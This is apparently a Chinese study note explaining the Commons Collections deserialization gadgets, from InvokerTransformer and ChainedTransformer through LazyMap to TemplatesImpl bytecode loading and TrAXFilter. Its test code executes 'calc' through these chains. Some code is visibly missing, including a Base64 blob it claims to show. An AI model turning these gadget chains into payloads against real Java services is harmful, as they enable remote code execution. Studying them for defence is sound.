CC链之复习
# 简介
Apache Commons 是对 JDK 的拓展，包含了很多开源的工具，用于解决平时编程经常会遇到的问题。Apache Commons 当中有一个组件叫做 Apache Commons Collections，封装了 Java 的 Collection 相关类对象。
CC 链 编写的是测试代码，和 ysoserial 中的稍有不同。 下面的是经常用到的 非常重要 的 Transformer 接口的实现类。
# ConstantTransformer
Transformer 接口是实现类，并重写了其接口类的 transform 方法。transform 方法作用是获取一个对象类型，关键代码如下：
public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;
//构造函数
public ConstantTransformer(Object constantToReturn){
this.iConstant = constantToReturn;
}
//重写的transform方法，获取一个对象类型
public Object transform(Object input){
return this.iConstant;
}
}
# InvokerTransformer
Transformer 接口的实现类，并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用指定的方法并返回方法调用结果，关键代码如下：
public class InvokerTransformer implements Transformer, Serializable {
static final long serialVersionUID = -8653385846894047688L;
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法，反射调用指定的方法并返回方法调用结果
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch …………
}
}
}
# 测试 (calc)：
// 测试 InvokerTransformer
public class Test {
public static void main(String[] args) {
Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
transformer.transform(Runtime.getRuntime());
}
}
###输出
弹出计算器
# InstantiateTransformer
Transformer 接口的实现类，并重写了其接口类的 transform 方法。其 transform 方法作用是反射调用构造函数将类实例化，关键代码如下：
public class InstantiateTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3786388740793356347L;
public static final Transformer NO_ARG_INSTANCE = new InstantiateTransformer();
private final Class[] iParamTypes;
private final Object[] iArgs;
//构造函数
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}
//重写的 transform 方法，反射调用构造函数将类实例化。
public Object transform(Object input) {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
# 测试 (calc)：
public class cc1{
public static class Evil {
public Evil(String args) throws Exception {
Runtime.getRuntime().exec(args);
}
}
// 测试 InstantiateTransformer
public static void main(String[] args) {
Transformer instantiateTransformer = new InstantiateTransformer(new Class[]{String.class}, new Object[]{"calc"});
instantiateTransformer.transform(Evil.class);
}
}
# ChainedTransformer
Transformer 接口的实现类，并重写了其接口类的 transformer 方法。其 transform 方法作用是实现数组链式调用。我们只需传入一个 Transformer [] 给 ChainedTransformer，然后执行 ChainedTransformer 的 transform 方法便可以链式调用 Transformer [] 中每个 Transformer 的 transform 方法。关键代码如下：
public class ChainedTransformer implements Transformer, Serializable {
static final long serialVersionUID = 3514945074733160196L;
private final Transformer[] iTransformers;
//构造函数
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
//重写的 transform 方法，链式调用 Transformer[] 中每个 Transformer 的 transform 方法
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
# 测试：（很重要 利用 ChainedTransformer 实现 Runtime.getRuntime ().exec (“calc”) ）
// 测试 ChainedTransformer
public class Test {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("test");
}
}

如何触发 ChainedTransformer 的 transform 方法呢？这就引出了 LazyMap 类。
# LazyMap（重要）
其 get 方法中可以触发 ChainedTransformer 的 transform 方法。
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
//可控制 factory 为 ChainedTransformer
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
//利用 get 方法可实现调用 ChainedTransformer#transform()
public Object get(Object key) {
if (!super.map.containsKey(key)) {
//关键点
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}
那么如何反序列化时触发 LazyMap 的 get 方法呢？下面 CC 链中将会介绍几种触发 LazyMap#get 的方法。
# 测试：
// 测试 LazyMap
public class Test {
public static void main(String[] args) {
//Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap, chainedTransformer);
lazyMap.get("bp");
}
}
# TemplatesImpl（重要）
这个类不在 Apache Commons Collections 中。但是 TemplatesImpl 这个类很特殊，我们可以借助其动态加载包含恶意的字节码，部分简化代码如下：
public final class TemplatesImpl implements Templates, Serializable {
private String _name = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;
//关键方法：newTransformer()
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
// 关键点，调用 getTransletInstance()
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
}
//继续跟进 getTransletInstance() 方法：
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
//先判断是否为 null，如果为 null 的话去加载字节码，紧接着 newInstance() 对其实例化。
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
…………
}
}
//继续跟进 defineTransletClasses() 方法:
private void defineTransletClasses()
throws TransformerConfigurationException {
…………
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
…………
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); //关键点
final Class superClass = _class[i].getSuperclass();
}
}
//继续跟进 TransletClassLoader，这个类里重写了 defineClass 方法
static final class TransletClassLoader extends ClassLoader {
TransletClassLoader(ClassLoader parent) {
super(parent);
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length); //关键点
}
}
}
# 恶意字节码的生成 (calc)：
HelloTemplatesImpl.java，主要其必须继承 AbstractTranslet 类 (TemplatesImpl 依赖于 AbstractTranslet)
// HelloTemplatesImpl.java
public class HelloTemplatesImpl extends AbstractTranslet {
public HelloTemplatesImpl() {
super();
try{
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
我们将其编译为 HelloTemplatesImpl.class，然后进行 Base64 编码，得到如下结果：

setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
那么有没有类可以调用 TemplatesImpl.newTransformer ()，这里先介绍一个构造 CC3 中将会用到的类 TrAXFilter，下面是其构造函数：
# TrAXFilter
public class TrAXFilter extends XMLFilterImpl {
//构造函数
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer(); //关键点

}
}

// 测试 TrAXFilter
public class Test {
//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {

field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws TransformerConfigurationException {
